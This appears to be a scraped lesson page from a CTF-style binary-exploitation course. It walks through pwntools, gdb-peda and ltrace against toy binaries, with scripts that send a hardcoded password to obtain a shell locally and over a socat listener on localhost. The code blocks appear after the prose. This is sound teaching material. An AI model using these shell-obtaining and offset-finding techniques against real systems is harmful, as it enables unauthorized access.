    Pwntools Command Line Tools

    Pwntools installs the pwn python script in /usr/local/bin. It provides frontends to useful features of the library. To get a list of all available frontends, you can execute pwn -h.

    You can investigate the available options at your own time. Take a look at the for a more detailed description of each of them.

    hashtag
    Interacting with Target Binaries

    Your target might expose itself through different vectors. Today we will focus on attacking remotely running binaries that you can connect to over the network. First, let's see how we might interact with a local copy of a binary that accepts input on stdin and returns output on stdout.

    Local Copy of Binary

    To begin with, we will look at the 2_interactive binary:

    For completeness sake, here is the source code:

    The point of the program is to check the user input against a hardcoded password. If it matches, then an interactive shell is spawned.

    Now that we know how to craft the input, we can write our sample exploit using Pwntools.

    Take some time to go through the code and understand what it does. Take note of the process("../build/2_interactive") line. It starts a new process and allows you to treat the object like a socket. Run the script and verify it works:

    hashtag
    Simulating a Networked Application Locally

    It is very easy to turn a console-based application into a networked one and there are multiple ways to do it. The exercises that come later in the docker containers use xinetd, a server daemon, to listen for network requests and then launch the binary to serve these requests. For now, we can use socat to do the same thing.

    First, we will start a new screen session so that we can background our socat terminal.

    Next, we run the following command to start a listener on port 1330.

    It should hang there. Now return to your original bash session by holding down the following key sequence: CTRL-A-D. If you run the command screen -ls you should see that the socat screen session is in the background.

    To verify that the listener is indeed listening on port 1330, we can run netcat.

    Now, here comes the magic. To modify the first script we had to work with local binaries, we may simply comment out the process() line and replace the line with remote("localhost", 1330).

    Now, if we run this it should give us our shell.

    hashtag
    Debugging with GDB

    Pwntools does provide GDB functionality but we will be taking a more manual approach since that is the way I am used to doing it. If you are interested in using this functionality, you can view the documentation .

    We will be using the 3_reversing binary to walkthrough this section. First, lets run it vanilla.

    To gain a deeper insight into what is going on, we can use ltrace to investigate.

    Using the following script, we can print the process id before the interaction with the program happens.

    First, start another ssh session and run the script. Note the process id that gets printed. Also note the use of p32() to pack integers into little endian strings.

    Return to the original bash shell and run GDB as root. Now, we can attach to the process.

    At this point, the program is paused somewhere in libc. We can setup our breakpoints. Let's assume that we have done some preliminary reverse engineering and have discovered that the input gets passed to the check_creds(). Here's the disassembly of the function.

    Let's place some breakpoints on the function and step through the execution to discover what inputs we need to supply to pass the check.

    Back on the terminal with the script running, press enter to trigger the data sending. On the gdb terminal, the debugger should have broken. Continue on with the standard gdb debugging process to obtain the values.

    hashtag
    Exercises

    Please attempt the exercises in this section on your own before looking at the solution.

    hashtag
    Ex 3.1: Getting the Right Name and Token

    Continuing on from where we left off in the guided portion, please find the right values for the name and token and modify the exploit code such that a shell is obtained.

    Solution script can be found here.

    hashtag
    Ex 3.2: Launching the Attack Against a Remote Target

    Please find the flag file on an instance of the service running at 127.0.0.1:1900.

    Solution script can be found here.

    ubuntu@ubuntu-xenial:/vagrant$ cd lessons/3_intro_to_tools/
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools$ cd build/
    De Brujin Sequencearrow-up-right
    documentationarrow-up-right
    herearrow-up-right
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/build$ ./1_sample
    Hello, I am a sample program.
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/build$ gdb ./1_sample
    GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
    Copyright (C) 2016 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from ./1_sample...(no debugging symbols found)...done.
    gdb-peda$ r
    Starting program: /vagrant/lessons/3_intro_to_tools/build/1_sample
    Hello, I am a sample program.
    [Inferior 1 (process 11030) exited normally]
    Warning: not running or target is remote
    gdb-peda$
    gdb-peda$ br main
    Breakpoint 1 at 0x40052a
    gdb-peda$ r
    Starting program: /vagrant/lessons/3_intro_to_tools/build/1_sample
    
     [----------------------------------registers-----------------------------------]
    RAX: 0x400526 (<main>:	push   rbp)
    RBX: 0x0
    RCX: 0x0
    RDX: 0x7fffffffe5e8 --> 0x7fffffffe811 ("XDG_SESSION_ID=3")
    RSI: 0x7fffffffe5d8 --> 0x7fffffffe7e0 ("/vagrant/lessons/3_intro_to_tools/build/1_sample")
    RDI: 0x1
    RBP: 0x7fffffffe4f0 --> 0x400540 (<__libc_csu_init>:	push   r15)
    RSP: 0x7fffffffe4f0 --> 0x400540 (<__libc_csu_init>:	push   r15)
    RIP: 0x40052a (<main+4>:	mov    edi,0x4005c4)
    R8 : 0x4005b0 (<__libc_csu_fini>:	repz ret)
    R9 : 0x7ffff7de78e0 (<_dl_fini>:	push   rbp)
    R10: 0x846
    R11: 0x7ffff7a2e740 (<__libc_start_main>:	push   r14)
    R12: 0x400430 (<_start>:	xor    ebp,ebp)
    R13: 0x7fffffffe5d0 --> 0x1
    R14: 0x0
    R15: 0x0
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x400521 <frame_dummy+33>:	jmp    0x4004a0 <register_tm_clones>
       0x400526 <main>:	push   rbp
       0x400527 <main+1>:	mov    rbp,rsp
    => 0x40052a <main+4>:	mov    edi,0x4005c4
       0x40052f <main+9>:	call   0x400400 <puts@plt>
       0x400534 <main+14>:	mov    eax,0x0
       0x400539 <main+19>:	pop    rbp
       0x40053a <main+20>:	ret
    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffffe4f0 --> 0x400540 (<__libc_csu_init>:	push   r15)
    0008| 0x7fffffffe4f8 --> 0x7ffff7a2e830 (<__libc_start_main+240>:	mov    edi,eax)
    0016| 0x7fffffffe500 --> 0x0
    0024| 0x7fffffffe508 --> 0x7fffffffe5d8 --> 0x7fffffffe7e0 ("/vagrant/lessons/3_intro_to_tools/build/1_sample")
    0032| 0x7fffffffe510 --> 0x100000000
    0040| 0x7fffffffe518 --> 0x400526 (<main>:	push   rbp)
    0048| 0x7fffffffe520 --> 0x0
    0056| 0x7fffffffe528 --> 0x3061aa2b46d3584b
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    
    Breakpoint 1, 0x000000000040052a in main ()
    gdb-peda$
    gdb-peda$ peda
    PEDA - Python Exploit Development Assistance for GDB
    For latest update, check peda project page: https://github.com/longld/peda/
    List of "peda" subcommands, type the subcommand to invoke it:
    aslr -- Show/set ASLR setting of GDB
    asmsearch -- Search for ASM instructions in memory
    assemble -- On the fly assemble and execute instructions using NASM
    checksec -- Check for various security options of binary
    cmpmem -- Compare content of a memory region with a file
    context -- Display various information of current execution context
    context_code -- Display nearby disassembly at $PC of current execution context
    context_register -- Display register information of current execution context
    context_stack -- Display stack of current execution context
    crashdump -- Display crashdump info and save to file
    deactive -- Bypass a function by ignoring its execution (eg sleep/alarm)
    distance -- Calculate distance between two addresses
    dumpargs -- Display arguments passed to a function when stopped at a call instruction
    tracecall -- Trace function calls made by the program
    ... snip ...
    traceinst -- Trace specific instructions executed by the program
    unptrace -- Disable anti-ptrace detection
    utils -- Miscelaneous utilities from utils module
    vmmap -- Get virtual mapping address ranges of section(s) in debugged process
    waitfor -- Try to attach to new forked process; mimic "attach -waitfor"
    xinfo -- Display detail information of address/registers
    xormem -- XOR a memory region with a key
    xprint -- Extra support to GDB's print command
    xrefs -- Search for all call/data access references to a function/variable
    xuntil -- Continue execution until an address or function
    
    Type "help" followed by subcommand for full documentation.
    gdb-peda$
    gdb-peda$ checksec
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : disabled
    RELRO     : Partial
    gdb-peda$
    gdb-peda$ distance 0x7fffffffe4f0 0x7fffffffe528
    From 0x7fffffffe4f0 to 0x7fffffffe528: 56 bytes, 14 dwords
    gdb-peda$
    gdb-peda$ elfsymbol
    Found 2 symbols
    puts@plt = 0x400400
    __libc_start_main@plt = 0x400410
    gdb-peda$
    gdb-peda$ pattern create 64
    'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
    gdb-peda$
    gdb-peda$ pattern offset 0x48414132
    1212236082 found at offset: 60
    gdb-peda$ pattern offset 2AAH
    2AAH found at offset: 60
    gdb-peda$
    gdb-peda$ procinfo
    exe = /vagrant/lessons/3_intro_to_tools/build/1_sample
    fd[0] -> /dev/pts/0
    fd[1] -> /dev/pts/0
    fd[2] -> /dev/pts/0
    pid = 11038
    ppid = 11028
    uid = [1000, 1000, 1000, 1000]
    gid = [1000, 1000, 1000, 1000]
    gdb-peda$ vmmap
    Start              End                Perm	Name
    0x00400000         0x00401000         r-xp	/vagrant/lessons/3_intro_to_tools/build/1_sample
    0x00600000         0x00601000         r--p	/vagrant/lessons/3_intro_to_tools/build/1_sample
    0x00601000         0x00602000         rw-p	/vagrant/lessons/3_intro_to_tools/build/1_sample
    0x00007ffff7a0e000 0x00007ffff7bcd000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
    0x00007ffff7bcd000 0x00007ffff7dcd000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
    0x00007ffff7dcd000 0x00007ffff7dd1000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
    0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
    0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p	mapped
    0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
    0x00007ffff7fec000 0x00007ffff7fef000 rw-p	mapped
    0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p	mapped
    0x00007ffff7ff8000 0x00007ffff7ffa000 r--p	[vvar]
    0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
    0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
    0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
    0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
    0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
    0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
    gdb-peda$
    gdb-peda$ vmmap 0x00601000
    Start              End                Perm  Name
    0x00601000         0x00602000         rw-p
    /vagrant/lessons/3_intro_to_tools/build/1_sample
    gdb-peda$
    gdb-peda$ find /bin/sh
    Searching for '/bin/sh' in: None ranges
    Found 1 results, display max 1 items:
    libc : 0x7ffff7b9a177 --> 0x68732f6e69622f ('/bin/sh')
    gdb-peda$
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/build$ ipython
    Python 2.7.12 (default, Nov 19 2016, 06:48:10)
    Type "copyright", "credits" or "license" for more information.
    
    IPython 5.1.0 -- An enhanced Interactive Python.
    ?         -> Introduction and overview of IPython's features.
    %quickref -> Quick reference.
    help      -> Python's own help system.
    object?   -> Details about 'object', use 'object??' for extra details.
    
    In [1]: from pwn import *
    
    In [2]:
    In [4]: p32?
    Signature: p32(*a, **kw)
    Docstring:
    p32(number, sign, endian, ...) -> str
    
    Packs an 32-bit integer
    
    Arguments:
        number (int): Number to convert
        endianness (str): Endianness of the converted integer ("little"/"big")
        sign (str): Signedness of the converted integer ("unsigned"/"signed")
        kwargs (dict): Arguments passed to context.local(), such as
            ``endian`` or ``signed``.
    
    Returns:
        The packed number as a string
    File:      /usr/local/lib/python2.7/dist-packages/pwnlib/context/__init__.py
    Type:      function
    
    In [5]: p32(0x41424344)
    Out[5]: 'DCBA'
    
    In [6]:
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        pass
    
    if __name__ == '__main__':
        main()
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        p = process("/bin/sh")
        p.interactive()
    
    if __name__ == '__main__':
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ python 2_shellsample.py
    [+] Starting local process '/bin/sh': Done
    [*] Switching to interactive mode
    $ id
    uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
    $
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ pwn -h
    usage: pwn [-h]
               {asm,checksec,constgrep,cyclic,disasm,elfdiff,elfpatch,errno,hex,phd,pwnstrip,scramble,shellcraft,unhex,update}
               ...
    
    Pwntools Command-line Interface
    
    positional arguments:
      {asm,checksec,constgrep,cyclic,disasm,elfdiff,elfpatch,errno,hex,phd,pwnstrip,scramble,shellcraft,unhex,update}
        asm                 Assemble shellcode into bytes
        checksec            Check binary security settings
        constgrep           Looking up constants from header files. Example:
                            constgrep -c freebsd -m ^PROT_ '3 + 4'
        cyclic              Cyclic pattern creator/finder
        disasm              Disassemble bytes into text format
        elfdiff             Compare two ELF files
        elfpatch            Patch an ELF file
        errno               Prints out error messages
        hex                 Hex-encodes data provided on the command line or stdin
        phd                 Pwnlib HexDump
        pwnstrip            Strip binaries for CTF usage
        scramble            Shellcode encoder
        shellcraft          Microwave shellcode -- Easy, fast and delicious
        unhex               Decodes hex-encoded data provided on the command line
                            or via stdin.
        update              Check for pwntools updates
    
    optional arguments:
      -h, --help            show this help message and exit
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/build$ ./2_interactive
    Welcome to the Super Secure Shell
    Password: HelloWorld?
    Incorrect password!
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    void give_shell() {
        system("/bin/sh");
    }
    
    int main() {
        // Disable buffering on stdin and stdout to make network connections better.
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        char * password = "TheRealPassword";
        char user_password[200];
    
        puts("Welcome to the Super Secure Shell");
        printf("Password: ");
    
        scanf("%199s", user_password);
        if (strcmp(password, user_password) == 0) {
            puts("Correct password!");
            give_shell();
        }
        else {
            puts("Incorrect password!");
        }
    }
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/build$ ./2_interactive
    Welcome to the Super Secure Shell
    Password: TheRealPassword
    Correct password!
    $ id
    uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd),999(docker)
    $ exit
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start a local process
        p = process("../build/2_interactive")
    
        # Get rid of the prompt
        data1 = p.recvrepeat(0.2)
        log.info("Got data: %s" % data1)
    
        # Send the password
        p.sendline("TheRealPassword")
    
        # Check for success or failure
        data2 = p.recvline()
        log.info("Got data: %s" % data2)
        if "Correct" in data2:
            # Hand interaction over to the user if successful
            log.success("Success! Enjoy your shell!")
            p.interactive()
        else:
            log.failure("Password was incorrect.")
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ python 3_interactive.py
    [+] Starting local process '../build/2_interactive': Done
    [*] Got data: Welcome to the Super Secure Shell
        Password:
    [*] Got data: Correct password!
    [+] Success! Enjoy your shell!
    [*] Switching to interactive mode
    $ ls -la
    total 20
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 12:28 .
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 12:04 ..
    -rw-rw-r-- 1 ubuntu ubuntu   98 Jan 10 11:36 1_template.py
    -rw-rw-r-- 1 ubuntu ubuntu  136 Jan 10 11:56 2_shellsample.py
    -rw-rw-r-- 1 ubuntu ubuntu  570 Jan 11 12:28 3_interactive.py
    $
    [*] Interrupted
    [*] Stopped program '../build/2_interactive'
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ screen bash
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/build$ socat TCP4-listen:1330,reuseaddr,fork EXEC:./2_interactive
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ screen -ls
    There is a screen on:
    	5371.pts-0.ubuntu-xenial	(01/11/2017 01:04:01 PM)	(Detached)
    1 Socket in /var/run/screen/S-ubuntu.
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ nc localhost 1330
    Welcome to the Super Secure Shell
    Password: Hello
    Incorrect password!
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start a local process
        #p = process("../build/2_interactive")
        p = remote("localhost", 1330)
    
        # Get rid of the prompt
        data1 = p.recvrepeat(0.2)
        log.info("Got data: %s" % data1)
    
        # Send the password
        p.sendline("TheRealPassword")
    
        # Check for success or failure
        data2 = p.recvline()
        log.info("Got data: %s" % data2)
        if "Correct" in data2:
            # Hand interaction over to the user if successful
            log.success("Success! Enjoy your shell!")
            p.interactive()
        else:
            log.failure("Password was incorrect.")
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ python 4_networked.py
    [+] Opening connection to localhost on port 1330: Done
    [*] Got data: Welcome to the Super Secure Shell
        Password:
    [*] Got data: Correct password!
    [+] Success! Enjoy your shell!
    [*] Switching to interactive mode
    $ ls -la
    total 40
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 10 12:06 .
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 13:21 ..
    -rwxrwxr-x 1 ubuntu ubuntu 8608 Jan  9 21:00 1_sample
    -rwxrwxr-x 1 ubuntu ubuntu 9064 Jan  9 21:00 2_interactive
    -rw------- 1 ubuntu ubuntu  501 Jan 10 12:06 .gdb_history
    -rw-rw-r-- 1 ubuntu ubuntu   12 Jan 10 12:02 peda-session-1_sample.txt
    $
    [*] Closed connection to localhost port 1330
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/build$ ./3_reversing
    Name: This is a Name
    Token: AAAA
    Submitted Name: This is a Name
    
    Submitted Token: 0x41414141
    Incorrect credentials.
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/build$ ltrace ./3_reversing
    __libc_start_main(0x4007b1, 1, 0x7ffed30e1418, 0x4008f0 <unfinished ...>
    setvbuf(0x7f661ca358e0, 0, 2, 0)                                                                                                   = 0
    setvbuf(0x7f661ca36620, 0, 2, 0)                                                                                                   = 0
    printf("Name: "Name: )                                                                                                                   = 6
    read(0This is a Name
    , "This is a Name\n", 63)                                                                                                    = 15
    printf("Token: "Token: )                                                                                                                  = 7
    read(0AAAA
    , "AAAA", 4)                                                                                                                 = 4
    printf("Submitted Name: %s\n", "This is a Name\n"Submitted Name: This is a Name
    
    )                                                                                 = 32
    printf("Submitted Token: 0x%x\n", 0x41414141Submitted Token: 0x41414141
    )                                                                                      = 28
    strcmp("Santo & Johnny", "This is a Name\n")                                                                                       = -1
    puts("Incorrect credentials."Incorrect credentials.
    )                                                                                                     = 23
    +++ exited (status 0) +++
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start a new process
        p = process("../build/3_reversing")
    
        # Name and Token
        name = "Test Name".ljust(63, "\x00")
        token = 0x41414141
    
        # Print pid
        raw_input(str(p.proc.pid))
    
        # Send name and token
        p.send(name)
        p.send(p32(token))
    
        # Start an interactive session
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ python 5_gdb.py
    [+] Starting local process '../build/3_reversing': Done
    5652
    ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ sudo gdb
    GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
    Copyright (C) 2016 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
    For help, type "help".
    Type "apropos word" to search for commands related to "word".
    gdb-peda$ attach 5652
    Attaching to process 5652
    Reading symbols from /vagrant/lessons/3_intro_to_tools/build/3_reversing...(no debugging symbols found)...done.
    Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
    done.
    Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
    done.
    
     [----------------------------------registers-----------------------------------]
    RAX: 0xfffffffffffffe00
    RBX: 0x0
    RCX: 0x7f2156e17680 (<__read_nocancel+7>:	cmp    rax,0xfffffffffffff001)
    RDX: 0x3f ('?')
    RSI: 0x7ffc16545500 --> 0x0
    RDI: 0x0
    RBP: 0x7ffc16545550 --> 0x4008f0 (<__libc_csu_init>:	push   r15)
    RSP: 0x7ffc165454e8 --> 0x400844 (<main+147>:	mov    edi,0x40098a)
    RIP: 0x7f2156e17680 (<__read_nocancel+7>:	cmp    rax,0xfffffffffffff001)
    R8 : 0x7f2157304700 (0x00007f2157304700)
    R9 : 0x6
    R10: 0x37b
    R11: 0x246
    R12: 0x400680 (<_start>:	xor    ebp,ebp)
    R13: 0x7ffc16545630 --> 0x1
    R14: 0x0
    R15: 0x0
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x7f2156e17677 <read+7>:	jne    0x7f2156e17689 <read+25>
       0x7f2156e17679 <__read_nocancel>:	mov    eax,0x0
       0x7f2156e1767e <__read_nocancel+5>:	syscall
    => 0x7f2156e17680 <__read_nocancel+7>:	cmp    rax,0xfffffffffffff001
       0x7f2156e17686 <__read_nocancel+13>:	jae    0x7f2156e176b9 <read+73>
       0x7f2156e17688 <__read_nocancel+15>:	ret
       0x7f2156e17689 <read+25>:	sub    rsp,0x8
       0x7f2156e1768d <read+29>:	call   0x7f2156e354e0 <__libc_enable_asynccancel>
    [------------------------------------stack-------------------------------------]
    0000| 0x7ffc165454e8 --> 0x400844 (<main+147>:	mov    edi,0x40098a)
    0008| 0x7ffc165454f0 --> 0x0
    0016| 0x7ffc165454f8 --> 0x4141414100000000 ('')
    0024| 0x7ffc16545500 --> 0x0
    0032| 0x7ffc16545508 --> 0x0
    0040| 0x7ffc16545510 --> 0x0
    0048| 0x7ffc16545518 --> 0x0
    0056| 0x7ffc16545520 --> 0x0
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0x00007f2156e17680 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
    84	../sysdeps/unix/syscall-template.S: No such file or directory.
    gdb-peda$
    gdb-peda$ disas check_creds
    Dump of assembler code for function check_creds:
       0x0000000000400776 <+0>:	push   rbp
       0x0000000000400777 <+1>:	mov    rbp,rsp
       0x000000000040077a <+4>:	sub    rsp,0x10
       0x000000000040077e <+8>:	mov    QWORD PTR [rbp-0x8],rdi
       0x0000000000400782 <+12>:	mov    DWORD PTR [rbp-0xc],esi
       0x0000000000400785 <+15>:	mov    rax,QWORD PTR [rbp-0x8]
       0x0000000000400789 <+19>:	mov    rsi,rax
       0x000000000040078c <+22>:	mov    edi,0x400974
       0x0000000000400791 <+27>:	call   0x400650 <strcmp@plt>
       0x0000000000400796 <+32>:	test   eax,eax
       0x0000000000400798 <+34>:	je     0x4007aa <check_creds+52>
       0x000000000040079a <+36>:	cmp    DWORD PTR [rbp-0xc],0xdeadc0de
       0x00000000004007a1 <+43>:	jne    0x4007aa <check_creds+52>
       0x00000000004007a3 <+45>:	mov    eax,0x0
       0x00000000004007a8 <+50>:	jmp    0x4007af <check_creds+57>
       0x00000000004007aa <+52>:	mov    eax,0x1
       0x00000000004007af <+57>:	leave
       0x00000000004007b0 <+58>:	ret
    End of assembler dump.
    gdb-peda$
    gdb-peda$ br check_creds
    Breakpoint 1 at 0x40077a
    gdb-peda$ c
    Continuing.
    gdb-peda$